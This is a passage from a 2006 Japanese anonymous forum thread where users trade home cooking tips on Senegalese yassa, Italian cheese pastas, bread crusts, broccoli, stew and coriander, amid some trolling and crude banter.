あと、よくよく調べてみたら、チュニジアじゃなくてマリのプレヤッサという料理だったわ。
なんとなく覚えてた作り方から検索してヒットしたレシピは。でもテレビでみたのはチュニジア
だったのよね…近いし関係してんのかしら。よくわかんないわ。

385 :陽気な名無しさん:2006/11/07(火) 22:39:04 ID:6JMCrf/z
>角煮
そうね。残波の飲みかけで作ったわ。
エセラフテーだわね。

386 :栴檀公主 ◆MDuA7Bsu5M :2006/11/07(火) 22:42:38 ID:y+emPdxd
「プレヤッサ」、もしくは「ヤッサプレ」で調べてみるとよい。
アフリカ各地で食べられている料理のようだが、
明らかにフランスの影響を受けており、興味深い。

387 :陽気な名無しさん:2006/11/07(火) 22:49:53 ID:OLlsFhat
>>386
まー!博識ね!ヤッサプレで調べたら、セネガルのレシピでヒットして、
アタシがテレビで見たのと全く同じ感じだわ。
そうなのね〜、アフリカ各地の料理なのね。アタシはてっきりチュニジア独自のものなのかと。
ご教授いただきありがとうございました。

388 :ないちん =^_^=:2006/11/07(火) 23:02:09 ID:Q0/fT2QH
>>385
味の母と、
黒砂糖を入れれば、どうにかなりそうだな。

>>382
そば焼酎雲海だと、
あっさりと仕上がりそうだな。たまねぎなどでも、
甘みを足すことは出来るな。

みゃう。(味の母)

389 :陽気な名無しさん:2006/11/07(火) 23:03:59 ID:YWTi/jzz
>>377
あら、だおだお君ありがとう。
じゃあ、今日はチンゲンサイを足しにして作ってみるわ。

390 :ないちん =^_^=:2006/11/07(火) 23:07:17 ID:Q0/fT2QH
>>389
とり皮を焼いて、
生むな肉のみじん切りで作ってもいいらしいな。ずいぶん、
安上がりの餃子だな。

みゃう。(餃子)

391 :陽気な名無しさん:2006/11/07(火) 23:16:39 ID:YWTi/jzz
生むな肉って…何かしら。

392 :陽気な名無しさん:2006/11/07(火) 23:18:28 ID:OLlsFhat
胸肉じゃない?バアチャンとかはよく、むな肉って言うわよねw

393 :陽気な名無しさん:2006/11/07(火) 23:19:35 ID:pOO4AiIX
年寄りがよく使うわ→「むな肉」

394 :陽気な名無しさん:2006/11/07(火) 23:19:58 ID:n+mq0ByN
やだ、料理板のあのスレ荒らしてたのないちんだったのね

395 :陽気な名無しさん:2006/11/07(火) 23:21:54 ID:Xsz86gEH
パルミジャーノチーズって、超おいしいわ!!!!!!!!!!

396 :陽気な名無しさん:2006/11/07(火) 23:27:31 ID:iLOMRNLB
綴りを読むと、パルメジァーノじゃないの?

397 :陽気な名無しさん:2006/11/07(火) 23:29:18 ID:YWTi/jzz
俗に言うパルメザンの事かしら?

398 :陽気な名無しさん:2006/11/07(火) 23:42:22 ID:Xsz86gEH
よく分からないけど、
商品のラベルにもパルミジャーノレジャーノって書いてるわよん。

399 :ないちん =^_^=:2006/11/07(火) 23:49:13 ID:Q0/fT2QH
>>394
みゃう。(そうだな)

居酒屋板でも、
坐・やまざきで有名だな。(#゚Д゚)オラー!

ないちんも、
エプロン姿で後ろから犯されたいな。

みゃう。(坐・やまざき)

400 :陽気な名無しさん:2006/11/07(火) 23:50:10 ID:1RC7qMhC
パスタ100gに対して、バターとパルミジャーノチーズを各20gずつからめて
あらびき故障をかけると最高に美味しいわ!

コツは、パスタを茹でるお湯にしっかり塩味をつけること!
あと欲を言えば、塩は岩塩、チーズと胡椒は引きたての方がより美味しくなる。
シンプルな料理なので、チーズはデパ地下などに売っている、ちょっと高めのものを選び
バターは新鮮なもの(買ったら切って小分けにして冷凍しとく)だと、尚良し。

401 :陽気な名無しさん:2006/11/07(火) 23:51:19 ID:YWTi/jzz
リーガンをレーガン。リンゼイをリンジー…みたいな違いじゃない?
だから、どうでも良いのよ。
訳しかたの違いだから。
大切なのは、美味しかったって事ね。

402 :ないちん =^_^=:2006/11/07(火) 23:51:23 ID:Q0/fT2QH
>>400
みゃう。(リッツカールトンホテルの全粒粉パスタ)

403 :陽気な名無しさん:2006/11/07(火) 23:53:35 ID:Xsz86gEH
>>401
そうよ、スライスしただけだけど、こんなに美味しいと思わなかったのよ。
ほんと、パスタでも何でも美味しく演出してくれそうだわ。

404 :陽気な名無しさん:2006/11/07(火) 23:55:22 ID:OLlsFhat
>>400
カッチョ・エ・ペペね。一時期ちょっと流行ったわね。アタシも好き。
簡単でいいわよね。でもそれだけだとなんか栄養学的な罪悪感(変な言い方だけど)に
苛まれて、ついついキノコ類を入れちゃったりするわ。
どっかの店では、細長く摩り下ろしたパルミジャーノをお皿に敷いて、
その上からパスタをかけてたわ。チーズがとろけていくのが目新しくて流行ったみたい。

http://tos.cside.com/other/pepe.php

405 :陽気な名無しさん:2006/11/08(水) 00:00:32 ID:MO36Mn/P
>>403
そんなに美味しいなら、あたしも今度試してみるわ。


さてと、1時過ぎたら餃子を作るわ。

406 :陽気な名無しさん:2006/11/08(水) 00:03:08 ID:rNX71rDz
そしてそのまま夜食スレに移行するのね?

407 :陽気な名無しさん:2006/11/08(水) 00:08:11 ID:MO36Mn/P
なんで分かったのよ。

408 :陽気な名無しさん:2006/11/08(水) 00:12:12 ID:0A8/nvk/
一抱えもあるパルメザンの塊の真ん中に穴をあけて、
そこに茹でたてのスパゲティを入れて、
グルグルかき混ぜてるのを見たわ。
オランダのハーレムにあるレストランだったわ。

409 :陽気な名無しさん:2006/11/08(水) 00:16:19 ID:SReUN/t9
>>404
カッチョ・エ・ペペに使うチーズはペコリーノ・ロマーノね。

これに対して、パルメジャーノ・レッジャーノを使うのがアルフレード風。
バターとチーズ、茹で湯を上手く攪拌させて、
生クリームのような感触を出すのがアルフレード風の秘訣。
パスタは、フェットチーネを使うのがデフォよ。

410 :陽気な名無しさん:2006/11/08(水) 00:23:43 ID:rNX71rDz
え?他の材料が同じでも使うチーズが変わると料理名も変わるの?
アルフレード風のアルフレードて地方の名前?人名?
どちらにしてもためになるわね…ちょっと今度やってみましょ。

411 :陽気な名無しさん:2006/11/08(水) 00:35:20 ID:rNX71rDz
>>409
検索したけど、ただ混乱しただけだったわ…
やっぱダメね、現地に行って食べたりしたことないと、検索じゃ限界あるわ。
とりあえず、カッチョ・エ・ペペでも攪拌はしっかりやらなきゃいけないみたいてのは分かったわ。
今度パルメザンで作る時はフェットチーネで食べてみるわ〜

412 :陽気な名無しさん:2006/11/08(水) 00:39:54 ID:SReUN/t9
わたしもそんなに詳しくないのよ。
アルフレードは、最初にこの料理を考案したシェフか何かじゃないかしら?
あくまでも想像だけど。
それにしても、いかにも太るよ!って感じのお料理よねぇ…。

413 :陽気な名無しさん:2006/11/08(水) 00:47:11 ID:rNX71rDz
>>412
そうね。人名ぽいわね。でもタメになったわ、ありがとう。
そう、いかにもデブ料理なんだけど、面倒臭いとき、材料がないときに
簡単に作れちゃうのよね…ていうか明日早速食べるけど。

414 :陽気な名無しさん:2006/11/08(水) 01:17:32 ID:/AX1Qcad
じゃあグラナパダーノはどうなのよ?

415 :陽気な名無しさん:2006/11/08(水) 01:22:29 ID:0A8/nvk/
皆さん、よくご存じなのね。
あたしはボロネーゼ、ジェノベーゼ、ポモドーロ、ボンゴレ、ペスカトーレ、
メランザーネ、シチリアーノ、カプレーゼ、トンノくらいしか思いつかないわ。

416 :陽気な名無しさん:2006/11/08(水) 10:08:46 ID:P1/zrtiR
カッチョ・エ・ペペよりカッチョエーパパが食べたいわ

417 :陽気な名無しさん:2006/11/08(水) 11:14:11 ID:CRwANtaO
パパより息子の方がいいわ

418 :ないちん =^_^=:2006/11/08(水) 12:27:17 ID:gNay+/Gd
ないちんは、さっき、
夜食のすれを発見したな。さっそく、
気づかれないように、
覗き込んできたな。ないちんは、
泥棒ねこだな。

みゃう。(泥棒ねこ)

419 :陽気な名無しさん:2006/11/08(水) 13:00:23 ID:/C9LXj6C
たくさん、パンのミミをもらいました。


何か良い料理方法を教えてください。

m(_ _)m




420 :陽気な名無しさん:2006/11/08(水) 13:33:29 ID:omBqO+xQ
素揚げして砂糖、グラタン、ピザ風、クルトン…
ってかもうちょっと対象を絞りなさいよ、キリないわw

421 :陽気な名無しさん:2006/11/08(水) 15:32:46 ID:/C9LXj6C
たくさんもらったので、料理方法を絞らずに作って行きますので、よろしくお願いします!



422 :陽気な名無しさん:2006/11/08(水) 15:36:21 ID:AzJhHZ25
次のゴミ出しの日に・・・

423 :陽気な名無しさん:2006/11/08(水) 16:04:43 ID:JrX5Iame
あたしパンのミミがあればフレンチトースト作りたいわ。
しっかり染み込ませて、熱くしたフライパンで中はトロトロ、外はカリッと焼くのよー

424 :ないちん =^_^=:2006/11/08(水) 18:38:14 ID:pTgAm7ux
スープのとろみ付けや、
パン粥でもよさそうだな。主食に近い、
ミネストローネにもなりうるな。

みゃう。(みみ)

425 :陽気な名無しさん:2006/11/08(水) 22:09:02 ID:CRwANtaO
今日はブロッコリーを一株茹でたから使い切るわ
前回は余らせて冷蔵庫にしまったまま古くなって捨てたの
ブロッコリーを使ったお料理、何かいいアイデアないかしら?

426 :陽気な名無しさん:2006/11/08(水) 22:13:00 ID:E3gJ4+bG
ID:7KMcF7bZ

こいつ気持悪い粘着釜です。
皆様気をつけて下さい。

427 :ないちん =^_^=:2006/11/08(水) 22:19:34 ID:Z+YlVlAn
みゃう。w
(夜食のすれには、移動できまい。)

428 :陽気な名無しさん:2006/11/08(水) 23:11:39 ID:SW8EPuhf
ミミが有るのならオムレツに入れるのも良いかも?

429 :陽気な名無しさん:2006/11/08(水) 23:16:47 ID:KNmkgGZ6
乾燥させておろし金で摺ってパン粉にしたら?

430 :陽気な名無しさん:2006/11/08(水) 23:46:25 ID:/C9LXj6C
いろんなご提案ありがとうございます。早速やってみます。

431 :陽気な名無しさん:2006/11/09(木) 00:15:59 ID:oLaVsYxO
>>425
もしブロッコリーを固めに茹でたなら、シチュー(ホワイトかビーフ)に入れたら?
入れた時混ぜ過ぎるとあの緑のブツブツ(?)みたいなの取れて見た目がよろしくなくなる(特にホワイトは白だから目立つ)から気お付けて
それかグラタン皿とオーブンを使って
1:ホワイトソースに粉チーズとパン粉をかけて焼いてグラタン風
2:好みのマヨネーズを好きな量かけて焼く
3:デミグラスソースかトマトソースをハンバーグとブロッコリーと一緒にいれてとろけるチーズをかけてオーブンに入れて加熱して作る煮込みハンバーグ
等はいかが?

432 :陽気な名無しさん:2006/11/09(木) 00:18:05 ID:xwvJnQOi
>>425
スプーンの腹で潰してスープやシチュー、ハンバーグに入れるのが一般的ね。

433 :陽気な名無しさん:2006/11/09(木) 00:21:36 ID:tI3MZmBQ
おひたしにしてもいいわよ。
鰹出汁に味醂、酒、醤油でちょっと濃いめに味を付けて、かけるのよ。
仕上げに鰹節を載せて、できあがりよ。結構イケるわ。

434 :陽気な名無しさん:2006/11/09(木) 00:24:15 ID:KWEMPx8H
パスタばっかで申し訳ないけど、あたしならアンチョビとブロッコリーとにんにくと
とうがらしでパスタにするわ。パスタはペンネで。

435 :陽気な名無しさん:2006/11/09(木) 00:30:34 ID:/jwhZN9C
この前キャシー中島が野菜を全部すり下ろしてカレーを作ってて
具は別にいろいろ用意しておいて食べる時に好きなものを乗せて食べる、
てなことをやってたので、マネしてみました。

リンゴと人参と南瓜を擦って具は適当にある物で済ませたの。
紅玉を使ったら酸味が効いて、人参と南瓜の甘味とマッチしてたわ。

436 :陽気な名無しさん:2006/11/09(木) 00:30:39 ID:tI3MZmBQ
ブロッコリーとパスタを一緒に茹でなきゃ、香りが弱いみたいだわよ?

437 :栴檀公主 ◆MDuA7Bsu5M :2006/11/09(木) 00:34:46 ID:AkmzzhLp
>>434
オレッキエッテを用いてもよい。
美味しく作る秘訣は、ブロッコリは柔らかめに茹でた上、
粗く刻み、ブロッコリ自体をソースにするようなつもりで作ること。
春には、ブロッコリを菜の花に代えて、
それ以外は同じ材料で作る一品も美味しい。

438 :陽気な名無しさん:2006/11/09(木) 00:39:58 ID:tI3MZmBQ
柔らかくなるまで煮たら、栄養分が全部出ちゃうわね…

439 :栴檀公主 ◆MDuA7Bsu5M :2006/11/09(木) 00:43:02 ID:AkmzzhLp
ヴィタミン類の溶出が気になる向きには、電子レンジを用いればよかろう。
そもそも、一般に流通している野菜に、期待するほどの栄養価はない。

440 :陽気な名無しさん:2006/11/09(木) 00:58:17 ID:KWEMPx8H
>>437
そうそうそれそれ。オレッキエッテ!名前出てこなかったわ。
あればそれがいいんだけど、なかなか常備してるタイプでもないわよね…
ブロンダイズ(だっけ?)タイプの好きな商品があるけど。
ブロッコリを刻むのは知らなかったわ。今度やってみるわね。

441 :陽気な名無しさん:2006/11/09(木) 01:12:06 ID:WPhiXend
栄養を考えるなら、スープにするのが一番手ッ取り早いわ。青臭いけどね。似たような食
材のカリフラワーもスープにすると残さなくて済むわ。

442 :陽気な名無しさん:2006/11/09(木) 01:18:01 ID:/jwhZN9C
みなさん栄養のこと考えながらお料理してるの?

443 :陽気な名無しさん:2006/11/09(木) 01:27:22 ID:GAwnVhFr
ゆで時間の最後の1分辺りに千切りキャベツを
投下して、かさ増ししたパスタにたらこソースをあえて
カイワレを乗せて食べたらおいしかった。
低カロリーでボリューム満点。


444 :陽気な名無しさん:2006/11/09(木) 01:30:17 ID:KWEMPx8H
アタシ、カリフラワーもブロッコリーもだあいすき。
よく考えたら、茹でたのにマヨネとケチャップまぜたのをかけただけでも好きだわ。
シンプルだけど。料理じゃないけど。

445 :陽気な名無しさん:2006/11/09(木) 01:50:23 ID:X+xp32UK
お姐さま方に質問なのだけれど、美味しいシチューの作り方教えて下さらない?

材料とか人によって色々入れるものも違うから色々参考にしたいの。

446 :陽気な名無しさん:2006/11/09(木) 01:54:19 ID:JoVug203
ハウス北海道シチューが美味しいわよ!

447 :陽気な名無しさん:2006/11/09(木) 02:09:19 ID:fUNj2QuG
クリーム派?コーン派?
ちなみに自分はコーン派だけど、周りはクリーム派が多いのよね〜。。

448 :陽気な名無しさん:2006/11/09(木) 02:14:15 ID:JoVug203
絶対クリーム派よ!一人分作るの面倒だから冷凍食品使っちゃうわよ
玉葱一個とベーコン、業務用スーパーで買った安いミックスベジタブル
ザーって入れるの・・・あら、コーンが入っちゃったわw

449 :陽気な名無しさん:2006/11/09(木) 02:20:47 ID:oLaVsYxO
はしたないけどシチューはご飯にかけて食べるのが好きだわ

450 :陽気な名無しさん:2006/11/09(木) 02:22:06 ID:NJ4GQiHF
健康のために毎日野菜ジュースを飲み始めたの。
日ごろ野菜不足だと思ってるから。
小松菜・キャベツ・アロエ・人参・パセリ・セロリ・ほうれん草・りんご・レモン・水
はちみつ入れてをジューサーに掛けるの。
少し飲みにくいけど、肌に張りが戻った感じ。
それに満腹になるから食べ過ぎることもなくなって1週間で2キロ痩せたわ!

451 :陽気な名無しさん:2006/11/09(木) 02:24:31 ID:X+xp32UK
>>446それってルーのやつかしら?

クリーム派?ってクリームシチューって事かしら?
コーン派?ってとうもろこしのツブツブかしら?
とうもろこし入れるなんて初耳だわ!

452 :陽気な名無しさん:2006/11/09(木) 02:24:51 ID:JoVug203
>>450
カゴメの野菜一日これ一本、がお勧めよ!

453 :陽気な名無しさん:2006/11/09(木) 02:31:23 ID:Go3OGrEP
口の中で咀嚼して飲み込むのと、それを素通りさせて液体の状態で胃に流し込むのと
消化栄養吸収に違いはあるのかしら?

454 :陽気な名無しさん:2006/11/09(木) 03:27:35 ID:V2Pc50BN
吸収率で言えば液状の方がイイのよぉん。

455 :陽気な名無しさん:2006/11/09(木) 03:31:24 ID:IRYjRupQ
シチューなんておいしくするのなんて簡単よ。
最後に牛乳いれるでしょ?それを生クリームにかえるだけでびっくりする程おいしくなるわ。
あたしはクリーム派だからコーンは試したことないけどね。

456 :陽気な名無しさん:2006/11/09(木) 03:41:43 ID:4KvfksX+
あら、覗いて見たらシチュー話で盛り上がってたのね。
実は、明日作ろうと思って材料買い揃えたのよね。

味は、あたしもクリーム派。コーンは食べた事ないのよね。

入れるのは牛乳より生クリームの方が美味しいのね。試してみるわ。

457 :陽気な名無しさん:2006/11/09(木) 05:33:34 ID:ELbJmk46
シチューあまったらマカロニ入れてグラタンにして冷凍するの
あとカレー粉入れてカレーシチューとか
もしくは冷蔵庫に入れて冷えて少し硬くすて、丸めてクリームコロッケ風にしたり
お腹空いたわ

458 :陽気な名無しさん:2006/11/09(木) 07:19:44 ID:4KvfksX+
クリームコロッケ、美味しそうだわね。
あたしも余ったらやってみようかしら。

459 :陽気な名無しさん:2006/11/09(木) 07:51:16 ID:jywFkPJw
じゃがいもと魚介類のチャウダーも美味しいわよ

460 :陽気な名無しさん:2006/11/09(木) 08:17:13 ID:3XDGa1gJ
今時だと生クリーム、タップリ入れた
牡蛎のクリームシシューやチャウダーも美味しいわね。
鍋やスープものだとお徳用の冷凍牡蛎でも十分だから重宝するわ。
シチューの隠し味に白みそを少し入れてあげてもいいみたい。
あと、貝類は煮すぎると小さく固くなるので、いったん取り出して
食べるときに戻してあげるのが一手間ね。


461 :陽気な名無しさん:2006/11/09(木) 08:24:44 ID:JrDdSqNM
3丁¥105の木綿豆腐
100g¥65の合挽き(牛70%)
3把¥70

これで麻婆豆腐作ってみたわ。

豆板醤、オイスターソースもいれて。

462 :ないちん =^_^=:2006/11/09(木) 13:34:42 ID:mRqCWEqL
>>448
ないちんは、
三越で4割引のミクスヴェジタブルを時として、かうな。これで作った、
ひじきもなかなおいしいな。

みゃう。(ひじき)

463 :ないちん =^_^=:2006/11/09(木) 13:36:16 ID:mRqCWEqL
ないちんも、
シチューが食べたくなってきたな。三越の、
カレー用カット野菜を使えば簡単だな。ルーは、
三越入居の、
もりや健康食品で買うことにするな。

みゃう。(三越のテナント)

464 :ないちん =^_^=:2006/11/09(木) 14:22:18 ID:nEx1R8vk
北海道シチューの、
レシピをもらってきたな。ブロッコリーと、
白菜のシチューだな。ないちんも、
シチューが食べたくなったな。

豚肉は薄切りのものを用い、
たまねぎは中1個にんじんは中1/2を使うのだな。

いろどりが、綺麗だな。

みゃう。(彩)

465 :ないちん =^_^=:2006/11/09(木) 14:33:18 ID:nEx1R8vk
昨日から、
ズワイガニ・ベーグルがDOUTORで、
売り出されているな。320円もするな。ないちんにふさわしい、
豪華なベーグルだな。

誰かにおごってもらうのを、
ないちんは待っているな。

みゃう。(待つ)

466 :ないちん =^_^=:2006/11/09(木) 16:23:10 ID:RINP5Tkc
そば料理は、これしか、

http://www.nippn.co.jp/CGI/fun/recipe/recipe_detail.cgi/1/E/E02/0000154

ないな。でも日本製粉は、
パスタ料理はたくさん紹介しているな。

みゃう。(ぱすた)

467 :陽気な名無しさん:2006/11/09(木) 17:14:08 ID:oLaVsYxO
>>457
カレーシチューって昔かりあげ君のネタにあったから植田まさしの想像の産物かと思ったらホントにあったのね!ww

468 :陽気な名無しさん:2006/11/09(木) 17:51:27 ID:HjrWOm7L

同性愛サロン板、最も痛い住人を決めるのよ!その5
http://www.37vote.net/2kote/1162967730/


469 :陽気な名無しさん:2006/11/09(木) 20:09:18 ID:YAfMODhn
8月からこっち、デリカとか中華のテイクアウトとか輸入物のお菓子とか
あたし的に贅沢しちゃったんで、クリスマスまで粗食宣言するわ。
だって、年末年始のごちそうがありがたみなくなっちゃうもの。
健康にもよくないしねー。
今夜は最後の晩餐で(W)、買い置きしといたチョコとか、ハムとか、たいらげて
それと蒸し焼きそば。チキン鶏がらスープ素と塩としょうゆで味付けして
袋に調味料が入ってるやつ買わなかったの。
あれってギタギタしちょうのよね。

470 :陽気な名無しさん:2006/11/09(木) 21:56:26 ID:JwhuyS2X
初めてビビンバ作ったの。なんだか焼き肉が無いのが物足りなかったわ。
次回はキムチも用意しなきゃだわ。

471 :陽気な名無しさん:2006/11/09(木) 22:28:07 ID:V2Pc50BN
うらやましいわみんな。
あたしの今日の夕食なんて
丸美屋の麻婆豆腐と100円ギョーザよ…


472 :陽気な名無しさん:2006/11/09(木) 22:30:51 ID:JwhuyS2X
>>471
姐さん、次回は一緒に食べましょ〜


473 :陽気な名無しさん:2006/11/09(木) 22:38:45 ID:prlkVMt+
あらっ、あたしなんかドンキでさっき買った12ヶ67円の餃子と29円のトーフ2丁よ!
そうやってアメリカに旅行に行くのよ!

474 :陽気な名無しさん:2006/11/09(木) 22:38:54 ID:kaBJ4uiO
焼き茄子旨っ!!
カレーにトッピングよ。まだまだ秋茄子いけるわ

475 :ないちん =^_^=:2006/11/10(金) 00:16:14 ID:pM2ck2Nc
夜食を食べたな。

豆と野菜の簡単まりねサラダだな。
夕方ごろに漬けておいたな。
油とスト塩と胡椒の簡単なマリね液に、
たまねぎとピーマンとオクラと水煮サラダ豆を、
漬けておいたのだな。

みゃう。(マリネ)

476 :ないちん =^_^=:2006/11/10(金) 00:18:23 ID:pM2ck2Nc
>>470
ないちんは、
焼肉なしでも大丈夫だな。しかし、卵の黄身は、
欲しくなるな。チャーシューでも代用できそうだな。夏場に、
冷製ビビンバ丼を作って食べたな。

みゃう。(ビビンバ丼)

477 :ないちん =^_^=:2006/11/10(金) 00:25:05 ID:pM2ck2Nc
>>474
みゃう!!

ないちんは嫁だな。嫁は、
秋茄子を食べてはいけないのだな。

みゃう。(嫁)

478 :ないちん =^_^=:2006/11/10(金) 00:27:01 ID:pM2ck2Nc
>>469
ないちんは、
焼きそばはレシピどおりに水を入れることはしないな。
さっと湯がくか、
蒸すかすればほぐれるから、だな。

ソースは、
イカリだと味が引き立つな。

みゃう。(イカリ)

479 :ないちん =^_^=:2006/11/10(金) 00:29:20 ID:pM2ck2Nc
>>469
きもぶたがカミングアウトしたな。

ないちんは、
徳光正行よりエプロン姿がかわいいらしいな。
鏡で見る感じだと、かなり、
スレンダーだな。クリスマスまでに、
もう少し痩せたいな。

みゃう。(エステリー)

480 :陽気な名無しさん:2006/11/10(金) 00:59:52 ID:kQvM1QVx
垂れ流しのウンコみたい

481 :陽気な名無しさん:2006/11/10(金) 01:18:13 ID:gEYO85Es
糞コテの相手をしてはいけません

482 :jyo so:2006/11/10(金) 01:25:19 ID:tOq9r+bp
     ▲_▲  
    [゜┷ ゜]
   ∪|_|⊃鹵  ビビンバ作るとき具はなにいれるの? >476
     ┛┗  


483 :jyo so:2006/11/10(金) 01:25:58 ID:tOq9r+bp
     ▲_▲ 
    [゜w ゜]
   ∪|_|⊃g  酢の物食べたいときはなますをつくります。
     ┛┗

484 :陽気な名無しさん:2006/11/10(金) 01:26:25 ID:kQvM1QVx
解りました。糞はスルーします。

485 :ないちん =^_^=:2006/11/10(金) 01:34:12 ID:pM2ck2Nc
ないちんは、
くそをしたな。すぐに流したな。ちなみにないちんは、
和式のトイレを使っているな。

みゃう。(和式)

486 :名無しでなんなのさ:2006/11/10(金) 01:42:13 ID:cbKUN1eO
セブンイレブンに売ってる杏仁豆腐二種類

口どけさっぱりツルリン杏仁
口どけまろやかトロリン杏仁

ちなみに帯の色が違うだけです。。。

ピンク帯がトロリン、ブルー帯がツルリン、150円

僕はツルリンが好きです。お験しあれ!1

487 :ないちん =^_^=:2006/11/10(金) 01:50:18 ID:Frdwofvo
急に、
セブンイレブンのおでんが食べたくなったな。寒いから、だな。
焼酎で晩酌をしたいな。

みゃう。(焼酎)

488 :ないちん =^_^=:2006/11/10(金) 13:19:44 ID:KDOgSGsj
三越で、
全粒粉パスタを買ってきたな。乾麺の500cなのに、
400円もしたな。

まだ、
ソースを買っていないな。100cのパスタあたり、
300円は出したいものだな。

ないちん向けの、
セレブパスタだな。ソースは面倒だから、作らないな。

みゃう。(面倒)

489 :ないちん =^_^=:2006/11/10(金) 16:23:02 ID:AeuYi6zN
私はパスタは150gだわ。
または1袋500gだから3〜4回目に
買い置きの他の銘柄とミックスしたくないんで
167gを計量器で計ってる。

490 :ないちん =^_^=:2006/11/10(金) 16:24:49 ID:AeuYi6zN
>>489
みゃう。

ないちんを避けて、
他のすれでパスタの話を進行させようとしているな。

ないちんは、
ソースはレトルトでいいな。だから、
ソースに合わせて、
パスタの量を決めたいな。

みゃう。(ソースに合わせて)

491 :ないちん =^_^=:2006/11/10(金) 16:26:33 ID:AeuYi6zN
残ったものは、
野菜や豆とあえて、サラダにすればいいな。

どんな銘柄を使っているかも、気になるな。

ないちんは、
オーマイパスタの黄金シリーズが、気になっているな。が、
ほうれん草入りがなかったな。

みゃう。(ほうれん草入り)

492 :陽気な名無しさん:2006/11/10(金) 18:59:15 ID:phS86292
彼氏が手料理作ってくれると嬉しいよね

493 :陽気な名無しさん:2006/11/10(金) 19:45:12 ID:MWUjT11D
スペアリブ入り筑前煮のレシピをゲットして作ろうかと思ってたら、
お出汁が昆布出汁って書いてあるのよ
ウチにはカツオしかないわ・・・
これって、味が違っちゃう?!

494 :陽気な名無しさん:2006/11/10(金) 19:52:02 ID:gEYO85Es
スペアリブがこってりしてるから
あっさり昆布だしで十分っていう発想じゃないの
だったら鰹だしの方は風味が若干強めだけど何とかなるんじゃない?

495 :陽気な名無しさん:2006/11/10(金) 19:56:04 ID:MWUjT11D
>>494
ありがとう
どうせ1人で食べるんだもの、どういう味になってもいいわね
カツオ出汁でチャレンジしてみるわ

496 :陽気な名無しさん:2006/11/10(金) 19:57:42 ID:CGzFCFSN
まだ昆布だしで作った事ないから、違いが解らないじゃない?
まず作ってみたらどうかしら?
料理って、そんなもんよ。

497 :ないちん =^_^=:2006/11/10(金) 19:59:15 ID:YeIqi4Oz
みゃう。(ぶったまげた)

ないちんは、いま、
ぶったまげた、のかつおだしを使っているな。ちと、
鰹節の風味が強すぎるような気がしてならないな。

こんぶだと、
理研の無添加物が好きだな。が、
昆布ぐらい自分で煮ればどうにか出しになるな。一緒に、
筑前にと煮てしまってもいいな。

498 :陽気な名無しさん:2006/11/10(金) 20:09:38 ID:IIYsPcg8
塩でケーキ作るとかいうわけじゃないしな。風味が多少変わるくらい。

ところで、諸事情でカッテージチーズが大量にあるんだが、何か使い道ないかな?
出来ればサラダやクラッカーに、とかじゃなく、ちょっと変わり種のレシピ。
ググッたらチーズの作り方ばっかり出てくるし。

499 :ないちん =^_^=:2006/11/10(金) 20:16:41 ID:YeIqi4Oz
カッテージチーズと、
トマトの冷製パスタが食べたくなったな。

ないちんは、
ヴェジタリアンなので、
チーズがたくさんあっても処置に困るな。

みゃう。(困る)

500 :陽気な名無しさん:2006/11/10(金) 20:24:46 ID:CGzFCFSN
カッテージチーズ レシピでググれば出て来るわよ。

オムレツもあったわよ。

501 :陽気な名無しさん:2006/11/10(金) 20:31:32 ID:eElJ3rWV
溶かしてスープにしてみるとか。溶けない?

502 :ないちん =^_^=:2006/11/10(金) 20:46:59 ID:YeIqi4Oz
それでもないちんは、
カッテージチーズを作ったこともあるな。

牛乳とレモン汁を混ぜるだけだな。これは、
乳蛋白で、構成されるな。普通のチーズが、
乳脂肪なのとは、違うのだな。

みゃう。(乳脂肪)

503 :陽気な名無しさん:2006/11/10(金) 20:54:10 ID:RVuKkxii
スーパーで中華素材コーナーに置いてある芝麻醤と
和乾物コーナーに置いてある国産白胡麻ペーストって全く同じものなの?
それとも芝麻醤は白胡麻ペーストに何か中華的な素材を混ぜてるの?

504 :陽気な名無しさん:2006/11/10(金) 20:56:48 ID:uZbv+AjC
香菜(パクチー)っていっつも余っちゃうんだけど。なんか使い道ないかしら? 
できれば大量に消費できる料理なんか、あったら便利よね。

505 :陽気な名無しさん:2006/11/10(金) 21:31:09 ID:HJbYRhjf
>>504
熱を通すと、香りがマイルドになって、余らせずに使いきれるわ。

506 :陽気な名無しさん:2006/11/10(金) 22:17:49 ID:kQvM1QVx
パクチーが好きな方なら
ちぎったレタスとザク切りのトマト貝割れなんかと
エスニックサラダはどうかしら?
スイートチリソース、酢、レモン(ライムや酢橘だとモアベターよ)、ナンプラーで作った
ノンオイルドレッシングで和えれば出来上がりよ。
なんかパクチーみたいな、強烈な香草食べると体の中がきれいになって元気がモリモリ出てくる様な気がするのよね。

507 :陽気な名無しさん:2006/11/10(金) 22:27:56 ID:Je+Xrgr2
ないちんしねばいーのに

508 :ないちん =^_^=:2006/11/10(金) 22:28:33 ID:qbdr3sqo
>>503
ないちんは、
白ゴマペーストをお湯で溶いたドリンクが好きだな。
ゴマはねーを、
パンに塗って食べるのも、おいしそうだな。

みゃう。(ごまはねー)

509 :jyo so:2006/11/10(金) 23:38:28 ID:tOq9r+bp
     ▲_▲  
    [゜┷ ゜]
   ∪|_|⊃鹵  オレの質問にこたえんかい。ぼけ。>ないちん
     ┛┗ 

510 :jyo so:2006/11/10(金) 23:39:37 ID:tOq9r+bp
     ▲_▲ 
    [゜w ゜]
   ∪|_|⊃g  パクチーはラーメンにどっさりいれてもおいしいです。
     ┛┗

511 :陽気な名無しさん:2006/11/11(土) 00:31:00 ID:L+3PWLSy
糞コテの相手をしてはいけません

512 :陽気な名無しさん:2006/11/11(土) 00:39:25 ID:rkiWas3F
この間のテレビで上沼恵美子が作ってた簡単料理です。
まず、殻をむいたエビをゆでます。
その間に、ボールにレモン汁・ゆずこしょう・魚醤を混ぜときます
その中にゆでたてのエビとパクチー山盛り!
やってみたけどうまかったです。かなりすっぱいので、適当に調整してね
詳しくは、関西の毎日放送「えみィゴ」(?ちょっと違うかも)のHPに載ってるよ

513 :陽気な名無しさん:2006/11/11(土) 00:44:39 ID:dGIU8I1B
あら美味しそう。
でもやっぱり、どうしてもエスニック調になっちゃうのね。
パクチーとコリアンダーって同じものなの?

514 :陽気な名無しさん:2006/11/11(土) 00:59:51 ID:L+3PWLSy
同じだわ
あと香菜も
コリアンダーは種か何かを乾燥したのもあるみたいだけど

515 :陽気な名無しさん:2006/11/11(土) 01:03:28 ID:TY9Zy5Ep
おんなじよ。
ちなみに私は良く水気をとって(少し乾き、しんなりしたくらい)
1cm位に切ってジップロックで冷凍保存しておくわ。
アタシはパクチー好きだけど高いから、安い時期なんかにまとめて買って
つかってるの。消費方向じゃなくて保存方向でも考えてみては?



516 :陽気な名無しさん:2006/11/11(土) 01:10:16 ID:uV6mb+mp
>>514
